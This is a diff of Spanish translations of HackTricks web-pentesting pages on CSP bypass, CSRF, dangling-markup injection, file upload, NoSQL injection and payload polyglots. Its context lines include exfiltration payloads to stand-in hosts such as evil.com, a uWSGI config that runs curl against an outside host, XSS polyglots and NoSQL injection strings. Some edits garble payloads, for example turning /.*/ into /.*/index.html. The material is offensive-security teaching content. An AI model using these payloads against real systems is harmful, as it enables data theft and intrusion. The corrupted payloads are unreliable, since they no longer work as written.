 Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### Bypass de CSP restringiendo CSP
+### CSP bypass by restricting CSP
 
-En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
+En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude al inyectar dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **prototype pollution** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
 
-Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**:
+Puedes **restringir un CSP de un Iframe** con el **`csp`** atributo:
 ```html
 <iframe
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
@@ -583,7 +583,7 @@ document.querySelector("DIV").innerHTML =
 - Esta URL luego redirige a una URL secreta (por ejemplo, `https://usersecret.example2.com`) que **no está permitida** por CSP.
 - Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que la URL inicial redirigió.
 
-Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que lleva a una posible filtración de información sensible debido a comportamientos indefinidos.
+Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que lleva a una posible filtración de información sensible debido a un comportamiento indefinido.
 
 Otra técnica implica explotar el CSP mismo para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto de caracteres desconocidos, se pueden probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
 ```markdown
@@ -591,7 +591,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
 ```
 Al monitorear qué solicitudes son bloqueadas o permitidas por el CSP, se puede reducir los posibles caracteres en el subdominio secreto, eventualmente descubriendo la URL completa.
 
-Ambos métodos explotan las sutilezas de la implementación y el comportamiento del CSP en los navegadores, demostrando cómo políticas aparentemente seguras pueden filtrar inadvertidamente información sensible.
+Ambos métodos explotan las sutilezas de la implementación y el comportamiento del CSP en los navegadores, demostrando cómo políticas aparentemente seguras pueden inadvertidamente leak información sensible.
 
 Truco de [**aquí**](https://ctftime.org/writeup/29310).
 
@@ -603,14 +603,14 @@ Según la [**última técnica comentada en este video**](https://www.youtube.com
 
 ### Sobrecarga del búfer de respuesta de PHP
 
-Se sabe que PHP **almacena en búfer la respuesta a 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficiente información dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **encabezado CSP**, causando que el encabezado sea ignorado.\
-Entonces, la técnica consiste básicamente en **llenar el búfer de respuesta con advertencias** para que el encabezado CSP no sea enviado.
+Se sabe que PHP **almacena en búfer la respuesta hasta 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficiente información dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **header CSP**, causando que el header sea ignorado.\
+Entonces, la técnica consiste básicamente en **llenar el búfer de respuesta con advertencias** para que el header CSP no sea enviado.
 
-Idea de [**este informe**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
+Idea de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
 ### Reescribir la página de error
 
-De [**este informe**](https://blog.ssrf.kr/69) parece que era posible eludir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
+De [**este writeup**](https://blog.ssrf.kr/69) parece que era posible eludir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@@ -627,14 +627,14 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endp
 
 Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
 
-Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
+Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
 Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
-## Bypasses de Exfiltración CSP
+## CSP Exfiltration Bypasses
 
 Si hay un CSP estricto que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
 
-### Ubicación
+### Location
 
 Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta:
 ```javascript

src/pentesting-web/csrf-cross-site-request-forgery.md

@@ -76,7 +76,7 @@ Si la solicitud está agregando un **encabezado personalizado** con un **token**
 
 ### El token CSRF es verificado por una cookie
 
-Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o configurando una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud se alinea con el valor en la cookie.
+Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o estableciendo una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud se alinea con el valor en la cookie.
 
 Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallas que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie, seguida de iniciar el ataque CSRF.
 
@@ -139,8 +139,8 @@ form.submit()
 Al intentar enviar datos JSON a través de una solicitud POST, usar `Content-Type: application/json` en un formulario HTML no es directamente posible. De manera similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud preliminar. No obstante, hay estrategias para potencialmente eludir esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type:
 
 1. **Usar Tipos de Contenido Alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos sin importar el Content-Type.
-2. **Modificar el Tipo de Contenido**: Para evitar una solicitud preliminar mientras se asegura que el servidor reconozca el contenido como JSON, se puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud preliminar, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
-3. **Utilización de Archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulta [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
+2. **Modificar el Tipo de Contenido**: Para evitar una solicitud preliminar mientras se asegura que el servidor reconozca el contenido como JSON, puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud preliminar, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
+3. **Utilización de Archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulte [esta publicación](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 
 ### Bypass de verificación de Referer / Origen
 
@@ -189,7 +189,7 @@ document.forms[0].submit()
 ```
 ### **Bypass del método HEAD**
 
-La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de la respuesta**.
+La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de respuesta**.
 
 Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **enviar una solicitud HEAD que será procesada como una solicitud GET**.
 
@@ -197,7 +197,7 @@ Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente *
 
 ### **Exfiltrando el token CSRF**
 
-Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o de una vulnerabilidad de [**Markup Colgante**](dangling-markup-html-scriptless-injection/).
+Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o de una vulnerabilidad de [**Markup Colgante**](dangling-markup-html-scriptless-injection/index.html).
 
 ### **GET usando etiquetas HTML**
 ```xml
@@ -280,7 +280,7 @@ document.forms[0].submit() //Way 3 to autosubmit
 </body>
 </html>
 ```
-### Enviar solicitud POST a través de iframe
+### Solicitud POST de formulario a través de iframe
 ```html
 <!--
 The request is sent through the iframe withuot reloading the page
@@ -588,7 +588,7 @@ room: username,
 ```
 ## CSRF Login Brute Force
 
-El código se puede usar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también utiliza el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):
+El código se puede utilizar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también está utilizando el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):
 ```python
 import request
 import re

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -4,10 +4,10 @@
 
 ## Resumen
 
-Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
-También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script.
+Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/index.html) pero puedes **inyectar algunas etiquetas HTML**.\
+También es útil si algún **secreto se guarda en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
 
-Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
+Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/index.html) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
 
 ## Aplicaciones Principales
 
@@ -15,7 +15,7 @@ Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política
 
 Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, echa un vistazo a cuál podría ser más interesante usar).
 
-Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo) también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
+Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo), también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
 ```html
 <img src='http://attacker.com/log.php?HTML=
 <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
@@ -43,13 +43,13 @@ steal me'<b>test</b>
 ```
 Luego, los formularios que envían datos a la ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
 
-### Stealing forms 2
+### Robando formularios 2
 
 Establecer un encabezado de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante.
 
-### Stealing forms 3
+### Robando formularios 3
 
-El botón puede cambiar la URL a la que se enviará la información del formulario con el atributo "formaction":
+El botón puede cambiar la URL a donde la información del formulario va a ser enviada con el atributo "formaction":
 ```html
 <button name="xss" type="submit" formaction="https://google.com">
 I get consumed!
@@ -90,7 +90,7 @@ Puedes cambiar la ruta de un formulario e insertar nuevos valores para que se re
 
 `<noscript></noscript>` Es una etiqueta cuyo contenido será interpretado si el navegador no soporta javascript (puedes habilitar/deshabilitar Javascript en Chrome en [chrome://settings/content/javascript](chrome://settings/content/javascript)).
 
-Una forma de exfiltrar el contenido de la página web desde el punto de inyección hasta el final a un sitio controlado por un atacante será inyectar esto:
+Una forma de exfiltrar el contenido de la página web desde el punto de inyección hasta el final a un sitio controlado por el atacante será inyectar esto:
 ```html
 <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
 ```
@@ -150,7 +150,7 @@ O también puedes intentar ejecutar algún javascript:
 ```
 ### Abuso de Iframe
 
-Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la inserción de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
+Un documento hijo tiene la capacidad de ver y modificar la propiedad `location` de su padre, incluso en situaciones de origen cruzado. Esto permite la incrustación de un script dentro de un **iframe** que puede redirigir al cliente a una página arbitraria:
 ```html
 <html>
 <head></head>

src/pentesting-web/file-upload/README.md

@@ -43,7 +43,7 @@ Otras extensiones útiles:
 5. Agrega **otra capa de extensiones** a la verificación anterior:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
+6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
 - _ej: file.php.png_
 7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
 8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
@@ -98,7 +98,7 @@ La extensión `.inc` a veces se usa para archivos php que solo se utilizan para
 
 ## **Jetty RCE**
 
-Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, ¡sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell!
+Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
@@ -126,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para recargarse automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
+La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para que se recargue automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
 
 Es crucial entender la naturaleza laxa del análisis del archivo de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial.
 
@@ -174,7 +174,7 @@ Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta v
 - [**Open Redirect** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
 - Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
+- Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
 - [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
 - PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
 - Cargue el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
@@ -212,7 +212,7 @@ Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer
 
 #### Symlink
 
-Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
+Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt

src/pentesting-web/nosql-injection.md

@@ -67,7 +67,7 @@ in JSON
 ### **SQL - Mongo**
 ```
 /?search=admin' && this.password%00 --> Check if the field password exists
-/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
+/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 /?search=admin' && this.password && this.password.match(/^a.*$/)%00
 /?search=admin' && this.password && this.password.match(/^b.*$/)%00
 /?search=admin' && this.password && this.password.match(/^c.*$/)%00
@@ -78,7 +78,7 @@ in JSON
 ```
 ### Ejecución Arbitraria de Funciones en PHP
 
-Usando el operador **$func** de la biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por defecto) podría ser posible ejecutar una función arbitraria como en [este informe](https://swarm.ptsecurity.com/rce-cockpit-cms/).
+Usando el operador **$func** de la [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilizado por defecto) podría ser posible ejecutar una función arbitraria como en [este informe](https://swarm.ptsecurity.com/rce-cockpit-cms/).
 ```python
 "user":{"$func": "var_dump"}
 ```
@@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 || 1==1//
 || 1==1%00
 }, { password : /.*/ }
-' && this.password.match(/.*/)//+%00
-' && this.passwordzz.match(/.*/)//+%00
-'%20%26%26%20this.password.match(/.*/)//+%00
-'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+' && this.password.match(/.*/index.html)//+%00
+' && this.passwordzz.match(/.*/index.html)//+%00
+'%20%26%26%20this.password.match(/.*/index.html)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 {$gt: ''}
 [$ne]=1
 ';sleep(5000);

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-El objetivo de estos PoCs y Polygloths es dar al tester un **resumen** rápido de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
+El objetivo de estos PoCs y Polygloths es proporcionar al tester un **resumen** rápido de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
 
 > [!WARNING]
 > Esta **cheat sheet no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
@@ -46,7 +46,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```
@@ -94,7 +94,7 @@ $(ls)
 ```markup
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
-## [Inclusión de Archivos/Recorrido de Rutas](../file-inclusion/)
+## [Inclusión de Archivos/Recorrido de Rutas](../file-inclusion/index.html)
 
 ### Pruebas Básicas
 ```bash
@@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
 http://asdasdasdasd.burpcollab.com/mal.php
 \\asdasdasdasd.burpcollab.com/mal.php
 ```
-## [Redirección Abierta](../open-redirect.md) / [Falsificación de Solicitudes del Lado del Servidor](../ssrf-server-side-request-forgery/)
+## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 ### Pruebas Básicas
 ```bash
@@ -127,7 +127,7 @@ javascript:alert(1)
 ([a-zA-Z]+)*$
 ((a+)+)+$
 ```
-## [Inclusión del lado del servidor/Inclusion del lado de la frontera](../server-side-inclusion-edge-side-inclusion-injection.md)
+## [Inclusión del lado del servidor/Inyección del lado del borde](../server-side-inclusion-edge-side-inclusion-injection.md)
 
 ### Pruebas básicas
 ```markup
@@ -140,11 +140,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
 ```markup
 <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 Las mismas pruebas utilizadas para Open Redirect se pueden usar aquí.
 
-## [Server Side Template Injection](../ssti-server-side-template-injection/)
+## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 
 ### Pruebas Básicas
 ```markup
@@ -159,9 +159,9 @@ ${{7*7}}
 ```python
 {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 ```
-## [Inyección del lado del servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 
-### Pruebas básicas
+### Pruebas Básicas
 ```markup
 <xsl:value-of select="system-property('xsl:version')" />
 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
@@ -178,12 +178,12 @@ ${{7*7}}
 '"><img src=x onerror=alert(1) />
 javascript:alert()
 ```
-### Políglotas
+### Polyglots
 ```markup
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

src/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md

@@ -36,7 +36,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -34,7 +34,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 ```
 Note que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
